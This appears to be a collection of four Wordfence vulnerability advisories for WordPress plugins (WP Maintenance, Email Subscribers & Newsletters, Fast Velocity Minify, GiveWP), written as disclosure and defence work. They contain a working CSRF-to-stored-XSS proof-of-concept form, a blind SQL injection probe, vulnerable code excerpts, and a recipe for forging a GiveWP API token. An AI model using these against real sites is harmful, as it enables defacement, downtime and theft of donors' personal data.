High Severity Vulnerability Patched in WP Maintenance Plugin

Description: Cross-Site Request Forgery to Stored Cross-Site Scripting
CVSS v3.0 Score: 8.8 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H
Affected Plugin: WP Maintenance
Plugin Slug: wp-maintenance
Affected Versions: <= 5.0.5
Patched Version: 5.0.6

On November 15th, 2019, our Threat Intelligence team identified a vulnerability present in WP Maintenance, a WordPress plugin with approximately 30,000+ active installs. This flaw allowed attackers to enable a vulnerable site’s maintenance mode and inject malicious code affecting site visitors. We disclosed this issue privately to the plugin’s developer who released a patch the next day.

Plugin versions of WP Maintenance up to 5.0.5 are vulnerable to attacks against this flaw. All WP Maintenance users should update to version 5.0.6 immediately.

Limited Nonce Protection and Input/Output Sanitation

WP Maintenance provides a maintenance mode to site owners wishing to take their site offline during a maintenance period, with useful features for enabling and customizing a maintenance page. These features include a customizable title, customizable text, a custom maintenance page image, custom css styles, a countdown, font and color choices, etc.

With extensive customizability comes a greater responsibility for security. Unfortunately, without nonce protection and scarce input/output sanitization on values, Cross-Site Request Forgery (CSRF) leading to Cross-Site Scripting (XSS) vulnerabilities were possible in WP Maintenance.

Settings could be edited across 6 tabs: General, Colors & Fonts, Pictures, CountDown, CSS Style, and Settings, all of which were susceptible to a CSRF attack. Additionally, several settings could be injected with malicious code, allowing XSS attacks. Settings could also be manipulated to an attacker’s benefit. For instance, an attacker could enable maintenance mode on a site, causing a loss of availability.

The following code illustrates the lack of nonce verification on setting updates:

 /* Update des paramètres */
if( isset($_POST['action']) &amp;&amp; $_POST['action'] == 'update_general' ) {

    if( isset($_POST["wp_maintenance_social_options"]['reset']) &amp;&amp; $_POST["wp_maintenance_social_options"]['reset'] ==1 ) {
        unset($_POST["wp_maintenance_social"]);
        $_POST["wp_maintenance_social"] = '';
    }
    update_option('wp_maintenance_social', $_POST["wp_maintenance_social"]);
    update_option('wp_maintenance_social_options', $_POST["wp_maintenance_social_options"]);
    update_option('wp_maintenance_active', $_POST["wp_maintenance_active"]);
    
    $options_saved = wpm_update_settings($_POST["wp_maintenance_settings"]);

    $messageUpdate = 1;
}

>

A Closer Look at the Exploit

Although all of the settings in this plugin could be changed as a result of this CSRF vulnerability, the “General” settings tab had the most potential impact. This tab is where maintenance mode could be enabled and custom text and title options could be configured.

General settings tab for WP Maintenance.

With no input sanitization, the “Enable Newsletter” feature allowed an attacker to inject malicious code, creating a stored XSS vulnerability that could be exploited by taking advantage of the CSRF vulnerability.

The newsletter title is displayed on the maintenance page without output sanitization, meaning any malicious code set in the newsletter block by an attacker would be executed by a visitor’s browser when in maintenance mode.

Enable newsletter setting from dashboard.

Because an attacker could also enable maintenance mode on a single setting update, these vulnerabilities combined could lead to a site being taken offline and, for example, used to redirect visitors to a malicious site.

Example of what a site would look like if exploited by this vulnerability.

Proof of Concept

&lt;html&gt;
  &lt;body&gt;
   &lt;form action="http://URL/wp-admin/admin.php?page=wp-maintenance" method="POST"&gt;
      &lt;input type="hidden" name="action" value="update_general" /&gt;
      &lt;input type="hidden" name="wp_maintenance_active" value="1" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[titre_maintenance]" value="EVIL ATTACKER!" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[text_maintenance]" value="Come back quickly!" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[text_bt_maintenance]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[add_wplogin]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[add_wplogin_title]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[enable_seo]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[seo_title]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[seo_description]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[favicon]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[code_analytics]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[domain_analytics]" value="URL" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[enable]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[texte]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[facebook]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[twitter]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[linkedin]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[flickr]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[youtube]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[pinterest]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[vimeo]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[instagram]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[google_plus]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[about_me]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[soundcloud]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[skype]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[tumblr]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[blogger]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[paypal]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[size]" value="32" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[style]" value="style1" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[position]" value="bottom" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[align]" value="center" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[theme]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[reset]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[newletter]" value="1" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[title_newletter]" value="&lt;script&gt;alert("YOU'VE BEEN HACKED!")&lt;/script&gt;" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[type_newletter]" value="shortcode" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[code_newletter]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[iframe_newletter]" value="" /&gt;
      &lt;input type="hidden" name="submit" value="Save Changes" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;

CSRF & Security Awareness

This vulnerability offers a good time to remind ourselves of the importance to stay vigilant to all input from users on our sites, as CSRF exploits are difficult to protect against. A CSRF, or Cross Site Request Forgery vulnerability “is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.” This means that CSRF vulnerabilities can only be exploited when someone with administrative capability performs an action set up by an attacker. For example, clicking on a link while currently authenticated to a web application like WordPress.

A common example to consider is receiving a comment on your WordPress blog containing a link. Clicking the link in the comment to see what the commenter is referring to could lead to exploitation of a vulnerability. Instead of that link taking you to the site you think you may be visiting, it could send a request to update your WordPress website plugin settings on your behalf.

Stay vigilant when clicking links or attachments in comments or even in emails because it is possible that someone is trying to exploit the human weakness on your site: you. We recommend not visiting any links from an untrusted source because malicious content could be on the other side of that link – even on the other end of a URL shortened link.

If you absolutely must visit and don’t have a virtual machine to protect you from infection, ensure you have antivirus on your machine, then copy the link, make sure you are logged out of all sites, open an incognito window, paste the link in the incognito browser, then visit the site. This can help protect against CSRF vulnerabilities.

As shown in this post, a CSRF has the potential to severely affect your site, it’s availability and your users, and this vulnerability can be easily avoided through security awareness.

Wordfence Protection

Wordfence’s generic XSS firewall rules protect against the stored XSS in vulnerable versions of WP Maintenance. To exploit this XSS vulnerability the CSRF vulnerability must be exploited. As CSRF vulnerabilities cannot be protected against via firewall, we recommend updating to the latest version of WP Maintenance and following our CSRF recommendations to keep your sites safe.

Disclosure Timeline

November 15th, 2019 – Initial private contact with developer and notification of security issue.
November 15th, 2019 – Developer responds.
November 16th, 2019 – Developers acknowledged issue and released patch.

Conclusion

In today’s post, we detailed a CSRF to Stored XSS flaw present in the WP Maintenance plugin. This flaw has been patched in version 5.0.6 and we recommend users update to the latest version available. Sites running Wordfence are protected against XSS exposure by our firewall’s generic rules, however, our firewall rules can not protect against this CSRF vulnerability so it is important to take precautionary measures when clicking links in comments or sent to you via email so you are not exploited by this vulnerability.

The post High Severity Vulnerability Patched in WP Maintenance Plugin appeared first on Wordfence.

Read More

Multiple Vulnerabilities Patched in Email Subscribers & Newsletters Plugin

A few weeks ago, our Threat Intelligence team identified several vulnerabilities present in Email Subscribers & Newsletters, a WordPress plugin with approximately 100,000+ active installs. We disclosed this issue privately to the plugin’s development team who responded quickly, releasing interim patches just a few days after our initial disclosure. The plugin team also worked with us to implement additional security measures.

Plugin versions of Email Subscribers & Newsletters up to 4.2.3 are vulnerable to attacks against all of the vulnerabilities described below, and versions up to 4.3.0 are vulnerable to the SQL injection vulnerability. All Email Subscribers & Newsletters users should update to version 4.3.1 immediately. Wordfence Premium customers received new firewall rules on October 14th to protect against exploits targeting these vulnerabilities. Free Wordfence users receive these rules on November 14th.


Unauthenticated File Download w/ Information Disclosure

Description: Unauthenticated File Download w/ Information Disclosure
CVSS v3.0 Score: 5.8 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter provides site owners with the ability to create newsletter campaigns that site users can subscribe to. One feature of this plugin is the ability to export all of the site’s subscribers into a single CSV file containing first names, last names, email addresses, mailing lists the subscriber is on, and more. Unfortunately, there was a flaw in this plugin that allowed unauthenticated users to export subscriber lists and gain all of the information provided by subscribers.

Vulnerability in Detail

In order to provide this functionality, the plugin registered the query variables status and report which were used to signal the export of the subscribers list. In vulnerable versions of this plugin, there was no access control in place to verify that the user exporting the subscriber list had the proper authorization to do so. Therefore, this flaw allowed any unauthenticated user the ability to export the list of subscribers and obtain sensitive information such as user emails by sending the correct query variables and corresponding parameters.

 	public function __construct() {

		$report = ig_es_get_request_data( 'report' );
		$status = ig_es_get_request_data( 'status' );

		if ( $report &amp;amp;&amp;amp; $status ) {

			$status = trim( $status );

			$selected_list_id = 0;

			if ( 'select_list' === $status ) {
				$selected_list_id = ig_es_get_request_data( 'list_id', 0 );

				if ( 0 === $selected_list_id ) {
					$message = __( "Please Select List", "email-subscribers" );
					ES_Common::show_message( $message, 'error' );
					exit();
				}
			}

			$csv = $this-&amp;gt;generate_csv( $status, $selected_list_id );

Blind SQL Injection in INSERT statement

Description: Blind SQL Injection in INSERT statement
CVSS v3.0 Score: 8.3 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.3.0
Patched Version: 4.3.1

Another feature of Email Subscribers & Newsletters was a functionality that tracked ‘open’ actions, amongst a few others, for emails that were sent via configured campaigns. Unfortunately, there was a flaw in this plugin that allowed SQL statements to be passed to the database in the hash parameter creating a blind SQL injection vulnerability. These actions were unauthenticated by default, meaning any user could send these requests, even if no campaigns existed, increasing the significance of this vulnerability.

Vulnerability in Detail

The vulnerable code was present within the \ES_Actions::add function. Rather than using a wpdb::prepare statement, the plugin concatenated the values of the $args parameter into the SQL query and did not escape any additional SQL characters or input. This allowed an attacker to be able to blindly inject SQL statements, like '+SLEEP+' and observe the response from the database, providing useful information to an attacker.

 private function add( $args, $explicit = true ) {

	global $wpdb;

	$args = wp_parse_args( $args, array(
		'created_at' => ig_es_get_current_gmt_timestamp(),
		'updated_at' => ig_es_get_current_gmt_timestamp(),
		'count'      => 1,
	) );

	$sql = "INSERT INTO {$wpdb->prefix}ig_actions (" . implode( ', ', array_keys( $args ) ) . ')';
	$sql .= " VALUES ('" . implode( "','", array_values( $args ) ) . "') ON DUPLICATE KEY UPDATE";

	$sql .= ( $explicit ) ? " created_at = created_at, count = count+1, updated_at = '" . ig_es_get_current_gmt_timestamp() . "'" : ' count = values(count)';

	$result = $wpdb->query( $sql );

	if ( false !== $result ) {
		return true;
	}

	return false;
}

Special thanks to our lead developer, Matt Barry, for discovering this vulnerability. 


Insecure Permissions on Dashboard and Settings

Description: Insecure Permissions on Dashboard and Settings
CVSS v3.0 Score: 6.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter registers a menu full of settings, audience information, campaign information, forms, and more. This provides administrators with a central area to manage all of this plugin’s features. Unfortunately, there was a flaw in this plugin that allowed any user with the edit_post capability to view and modify settings, along with editing email campaigns and subscriber lists. Typically, only Contributor roles and above have the edit_post capability, however, a number of plugins and themes create custom roles that could allow base level users with the correct permissions to view and edit the settings and features of this plugin, introducing a security risk.

Vulnerability in Detail

This vulnerability was trivial to exploit for any attacker able to login as a user with the edit_post capability. Once the attacker was logged in as a user with the correct capability, the menu options were displayed in the toolbar and the attacker could navigate to the settings and campaigns and make any changes they wanted to. This included sending new campaigns, viewing subscriber information, adding new users, changing settings, and more.

Example of what a user with the edit_post capability can see and modify.


Cross-Site Request Forgery on Settings

Description: Cross-Site Request Forgery on Settings
CVSS v3.0 Score: 5.4 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter provides site owners the ability to change and alter settings just like any other plugin. Unfortunately, there were no nonce checks on settings updates that verified if the request came directly from an already existing session with an authenticated administrative user, creating a CSRF vulnerability. This vulnerability allowed attackers to modify settings via CSRF. Some of the settings impacted included: messages to display after subscription, the email “from” address, what mailer to use, standard emails to send after certain actions, and more.

Vulnerability in Detail

The settings form for this plugin generated a nonce with the name es-update-settings, and submitted this nonce with the settings. The issue in this case arose because the code did not perform any verification to check whether the nonce submitted was valid or not. With this vulnerability, a settings update could have been submitted with a blank or invalid nonce, as it did not verify that the nonce submitted came from a valid session. Considering this plugin also had a lack of secure permissions, this vulnerability had a much larger target surface, considering any user with edit_post capabilities could be targeted, whereas typically only administrative level users have the ability to modify plugin settings.

	public function es_settings_callback() {

		$submitted     = ig_es_get_request_data( 'submitted' );
		$submit_action = ig_es_get_request_data( 'submit_action' );

		$nonce = ig_es_get_request_data( '_wpnonce' );

		if ( 'submitted' === $submitted && 'ig-es-save-admin-settings' === $submit_action ) {
			$options = ig_es_get_post_data('', '', false);
			$options = apply_filters( 'ig_es_before_save_settings', $options );
                <!--
                


<div class="content save">
                    <input type="hidden" name="submitted" value="submitted"/>
                    <input type="hidden" name="submit_action" value="ig-es-save-admin-settings"/>
					<?php $nonce = wp_create_nonce( 'es-update-settings' ); ?>

                    <input type="hidden" name="update-settings" id="ig-update-settings" value="<?php echo $nonce; ?>"/>
					<?php submit_button(); ?>
                </div>



                -->

Send Test Emails from the Administrative Dashboard as an Authenticated User [Subscriber+]

Description: Send Test Emails as Subscriber+
CVSS v3.0 Score: 4.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

As previously mentioned, Email Subscribers & Newsletter provides site owners the ability to create “campaigns” that will be sent out via email. Part of the plugin functionality includes an option in the settings dashboard to send test emails in order to verify that a site’s mail function and email integration is working properly. Unfortunately, there was a flaw in this plugin that allowed authenticated users with subscriber and above access the ability to send test emails on behalf of the site owner. Although this is a less severe vulnerability, it still has the potential to be used for harm, as an attacker could send out unwanted emails from a site owner’s email server.

Vulnerability in Detail

In order to send test emails, this plugin registers a wp_ajax function to send_test_email. By default, AJAX actions can be triggered by any authenticated WordPress user sending a request from the wp-admin dashboard. For more sensitive functions, plugin developers should include a permissions or capability check to verify that the AJAX request is coming from a user with the appropriate capabilities to perform that action. With this plugin, we saw that there were no access control checks to verify that the request was coming from an authenticated administrative user, allowing lower level authenticated users to send test emails on behalf of the site owner.

 		add_action( 'wp_ajax_send_test_email', array( $this, 'send_test_email' ) );
 	function send_test_email() {
		$message = array();
		$message = array(
			'status'  => 'ERROR',
			'message' => __( 'Something went wrong', 'email-subscribers' )
		);

Unauthenticated Option Creation

Description: Unauthenticated Option Creation
CVSS v3.0 Score: 6.4 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletters has an on-boarding process that can be skipped after the plugin is activated. When the on-boarding process is skipped, it creates a new option in the database and saves the value as “yes.” Unfortunately, there was no access control for this feature so any unauthenticated user had the capability to create this option in the database, which could be appended with any value. This option value could later be modified with malicious code in conjunction with the CSRF vulnerability, though we were unable to exploit this by executing any code in this value, making this a much less severe issue.

Vulnerability in Detail

This function used an admin_init action to create the new option. This type of action typically runs when a user accesses the admin area of a site, however, it can also run on admin-ajax.php and admin-post.php. Therefore, if no access controls are in place, unauthenticated users have the ability to initiate the function by sending a request to admin-post.php or admin-ajax.php. This plugin used admin_init with no access controls, therefore, any user had the ability to create a new option with the name ig_es_ob_skip_[option_name], with [option_name] being any value input in the option_name parameter when sending the request. This option would be created with the default value of yes, which could later be changed using the CSRF vulnerability. All an attacker needed to do to exploit this vulnerability was to send a request to admin-ajax.php or admin-post.php with the es_skip parameter set to 1 and the option_name parameter set to the desired value.

 		add_action( 'admin_init', array( $this, 'es_save_onboarding_skip' ) );
	//save skip signup option
	function es_save_onboarding_skip() {

		$es_skip     = ig_es_get_request_data( 'es_skip' );
		$option_name = ig_es_get_request_data( 'option_name' );

		if ( $es_skip == '1' ! empty( $option_name ) ) {
			update_option( 'ig_es_ob_skip_' . $option_name, 'yes' );
			$referer = wp_get_referer();
			wp_safe_redirect( $referer );
			exit();
		}
	}

Disclosure Timeline

October 14th, 2019 – Developers notified privately of security issues.
October 14th, 2019 – Firewall rules released to Wordfence Premium users.
October 17th, 2019 – Developers acknowledged issues and released patches.
October 17th, 2019 – Developers notified that one of the patches was insufficient.
October 23rd, 2019 – Developers released another patch, which was sufficient but needed further security controls. Developers were notified.
November 13th, 2019 – Final Patch is released.
November 14th, 2019 – Free users receive firewall rule to protect against this vulnerability.

Conclusion

In today’s post, we detailed several security flaws present in the Email Subscribers & Newsletter plugin. These flaws have been patched in version 4.3.1 and we recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against most of these vulnerabilities since October 14th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on November 14th, 2019.

The post Multiple Vulnerabilities Patched in Email Subscribers & Newsletters Plugin appeared first on Wordfence.

Read More

Medium Severity Vulnerability Patched in Fast Velocity Minify Plugin

Description: Full Path Disclosure
CVSS v3.0 Score: 4.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected Plugin: Fast Velocity Minify
Plugin Slug: fast-velocity-minify
Affected Versions: <= 2.7.6
Patched Version: 2.7.7

A few days ago, our Threat Intelligence team identified a vulnerability present in Fast Velocity Minify, a WordPress plugin with approximately  80,000+ active installs. This flaw allowed authenticated attackers to discover the full web root path to the running WordPress application. We disclosed this issue privately to the plugin’s development team who released a patch just a few hours after our initial disclosure.

Fast Velocity Minify versions up to 2.7.6 are vulnerable to attacks against this flaw. All Fast Velocity Minify users should update to version 2.7.7 immediately. Wordfence Premium customers received a new firewall rule on October 14th to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days.

Vulnerability In Detail

Fast Velocity Minify is a plugin that provides a functionality to help improve the speed of WordPress sites it is installed on by using a caching method that merges Javascript & CSS files into a limited number of grouped files. One feature of this plugin is meant to allow administrators to review cached files in the plugin settings dashboard. In order to display the status of the cached files, the plugin uses a wp_ajax callback to the $cachedir  where it retrieves the information about the files. While this feature did use the is_admin() function to verify that the request was coming from an administrative screen, it did not do a capability check to verify if the call was coming from an authenticated administrative user viewing the status page.

 if(is_admin()) {
    add_action('admin_menu', 'fastvelocity_min_admin_menu');
    add_action('admin_enqueue_scripts', 'fastvelocity_min_load_admin_jscss');
    add_action('wp_ajax_fastvelocity_min_files', 'fastvelocity_min_files_callback');
    add_action('admin_init', 'fastvelocity_min_register_settings');
 # function to list all cache files
function fastvelocity_min_files_callback() {
	global $cachedir;
	
	# default
	$size = fastvelocity_get_cachestats();
	$return = array('js' => array(), 'css' => array(), 'cachesize'=> $size); 

This functionality is intended to provide site owners with status updates on already available files that can be seen in the source code of WordPress sites. The real issue appeared when the option ‘Enable FVM Debug Mode’ was enabled. Once that option was enabled, the full file path including the web root was logged in the $cachedir with a status update that could later be viewed on the ‘status’ page. Since this plugin was using the is_admin() function for authorization, it meant the AJAX request only needed to come from an administrative page so authentication could be bypassed and the information could be accessed. 

Any user with subscriber and above capabilities could send an AJAX request from an administrative page and see the information found on the ‘Status’ page which included the full path to the WordPress instance when ‘Enable FVM Debug Mode’ was enabled.

Fast Velocity Minify Full Path Disclosure Exploit.

Zoomed in on Fast Velocity Minify Full Path Disclosure.

Although there was no direct harm with this vulnerability, it could have been used to further escalate a more sophisticated attack. Therefore, we created a firewall rule to protect Wordfence users against its exploitation.

Vulnerability Importance and Impact

Discovered vulnerabilities should always be corrected and protected from when discovered, regardless of the vulnerability’s severity. Although a full path disclosure vulnerability is not the most severe vulnerability, it still poses a security risk to anyone running the vulnerable software on their systems.

A full path disclosure can be used as part of a larger chain of attacks. An attacker gaining the path of your site’s web root structure could allow them to map out your file structure for exploitation such as a directory traversal attack where malicious actors could access restricted directories and can potentially execute commands outside of the web root directory where WordPress is installed. Attackers can also use a full path disclosure to help aid in a local file inclusion attack, where they may need the full web root directory structure in order to include the file they would like to execute as a result of the vulnerability. A full path disclosure provides attackers with useful information needed to exploit other more severe vulnerabilities, which is what makes them dangerous.

Out of precaution, we immediately released a firewall rule to our Wordfence Premium users so that they would be protected against this vulnerability. The chances of this vulnerability being exploited are quite low for most WordPress users, and the requirements make it quite difficult to exploit. Wordfence takes all security vulnerabilities seriously, and our threat intelligence team proactively researches, discloses and protects against known vulnerabilities to keep our users safe. 

Disclosure Timeline

October 14th, 2019 – Developers notified privately of security issue. 
October 14th, 2019 – Firewall rule released to Wordfence Premium users.
October 14th, 2019 – Developers acknowledged issue and released patch. 
November 14th, 2019 – Free users receive firewall rule to protect against this vulnerability.

Conclusion

In today’s post, we detailed a full path disclosure flaw present in the Fast Velocity Minify plugin. This flaw has been patched in version 2.7.7 and we recommend users update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since October 14th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on November 14th, 2019.

Thank you to the plugin’s developer Raul Peixoto, for their extremely prompt response and cooperation in quickly patching this vulnerability.

The post Medium Severity Vulnerability Patched in Fast Velocity Minify Plugin appeared first on Wordfence.

Read More

Authentication Bypass Vulnerability in GiveWP Plugin

Description: Authentication Bypass with Information Disclosure
CVSS v3.0 Score: 7.5 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected Plugin: GiveWP
Plugin Slug: give
Affected Versions: <= 2.5.4
Patched Version: 2.5.5

A few weeks ago, our Threat Intelligence team discovered a vulnerability present in GiveWP, a WordPress plugin installed on over 70,000 websites. The weakness allowed unauthenticated users to bypass API authentication methods and potentially access personally identifiable user information (PII) like names, addresses, IP addresses, and email addresses which should not be publicly accessible. 

We privately disclosed the issue to the plugin’s developer on September 3rd, who were quick to respond and released a patch shortly after. Wordfence Premium customers received a new firewall rule on September 4th to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days.

This is considered a high security issue, and websites running Give 2.5.4 or below should be updated to version 2.5.5 or later right away.

Vulnerability In Detail

GiveWP provides users with an API functionality in order to integrate donation data into webpages and applications like Zapier. Site owners are able to generate a unique API key along with a token and private key that can be used to access restricted endpoints and gain access to donation data. However, it turned out that if no API key was generated, any user was able to access restricted endpoints by simply selecting any meta key from the wp_usermeta table and setting that as the authentication key. For instance, the nickname or session_tokens meta key (which are defined for all users) could have been supplied instead of a valid API key. There is also an authentication token that is used to validate this API request, however, for users that have not generated an API key, the authentication token is simply just the MD5 hash of the meta key that is used in place of a valid API key.

The API key validation method can be found in the validate_request() method seen below.

private function validate_request() {
		global $wp_query;

		$this->override = false;

		// Make sure we have both user and api key
		if ( ! empty( $wp_query->query_vars['give-api'] ) && ( $wp_query->query_vars['give-api'] !== 'forms' || ! empty( $wp_query->query_vars['token'] ) ) ) {

			if ( empty( $wp_query->query_vars['token'] ) || empty( $wp_query->query_vars['key'] ) ) {
				$this->missing_auth();

				return false;
			}

			// Retrieve the user by public API key and ensure they exist
			if ( ! ( $user = $this->get_user( $wp_query->query_vars['key'] ) ) ) {

				$this->invalid_key();

				return false;

			} else {

				$token  = urldecode( $wp_query->query_vars['token'] );
				$secret = $this->get_user_secret_key( $user );
				$public = urldecode( $wp_query->query_vars['key'] );

				if ( hash_equals( md5( $secret . $public ), $token ) ) {
					$this->is_valid_request = true;
				} else {
					$this->invalid_auth();

					return false;
				}

			}
		} elseif ( ! empty( $wp_query->query_vars['give-api'] ) && $wp_query->query_vars['give-api'] === 'forms' ) {
			$this->is_valid_request = true;
			$wp_query->set( 'key', 'public' );
		}
	}

The first check verifies if there is a valid user and API key, if there is no token or API key set then the request is automatically denied from moving further. If we have both the token and key set, we can then move on to retrieving the user by the public API key that was set and this is where we find our first major problem.

We then get to the get_user() method that does a check based on the API key that was provided. Unfortunately, in this check it doesn’t verify if the key was one generated by the Give API, but rather just fetches the user_id for any meta key in the wp_usermeta table, so if we pass in nickname or session_tokens as our meta key we’ll get back a valid user.

	public function get_user( $key = '' ) {
		global $wpdb, $wp_query;

		if ( empty( $key ) ) {
			$key = urldecode( $wp_query->query_vars['key'] );
		}

		if ( empty( $key ) ) {
			return false;
		}

		$user = Give_Cache::get( md5( 'give_api_user_' . $key ), true );

		if ( false === $user ) {
			$user = $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s LIMIT 1", $key ) );
			Give_Cache::set( md5( 'give_api_user_' . $key ), $user, DAY_IN_SECONDS, true );
		}

		if ( $user != null ) {
			$this->user_id = $user;

			return $user;
		}

		return false;
	}

The next check is to verify a “signature” of the user’s API key which is the MD5 hash of a secret key concatenated with the supplied API key. The secret key is normally defined when an API key is created for a given user. For user’s that have not generated an API key, the secret is an empty value, so a valid signature can be forged using just the MD5 value of the meta key that we’ve passed in instead of a valid API key.

	$token  = urldecode( $wp_query->query_vars['token'] );
				$secret = $this->get_user_secret_key( $user );
				$public = urldecode( $wp_query->query_vars['key'] );

				if ( hash_equals( md5( $secret . $public ), $token ) ) {
					$this->is_valid_request = true;

Taking a Look at the Exploit

Once the key has been set to any meta key value from the wp_usermeta table, and the token is set to the corresponding MD5 hash of the meta key selected, you can make a request to the restricted endpoints accessing sensitive donor data. In this example, we used the meta_key session_tokens and the MD5 hash of the string session_tokens which is ea78b7d35ff75719b36056cfa14ddcc8.

Personally Identifiable Information displayed when accessing vulnerable “donations” endpoint from GiveWP plugin.

As you can see, information in these endpoints can contain PII like names, addresses, IP addresses, and email addresses which should not be publicly accessible.

Disclosure Timeline

September 3rd – Plugin developer notified of the security issue
September 4th – Firewall rule released to Wordfence Premium users
September 20th – Patch released
October 4th – Firewall rule becomes available to free users

Conclusion

In today’s post, we detailed an authentication bypass flaw present in the GiveWP plugin. This flaw has been patched in version 2.5.5 and we recommend users update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since September 4th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on October 4th, 2019.

Thank you to the plugin’s team at GiveWP, for their extremely prompt response and cooperation to get a fix out quickly, and to Matt Barry, Wordfence’s Lead Developer, for his assistance in researching this vulnerability.

The post Authentication Bypass Vulnerability in GiveWP Plugin appeared first on Wordfence.

Read More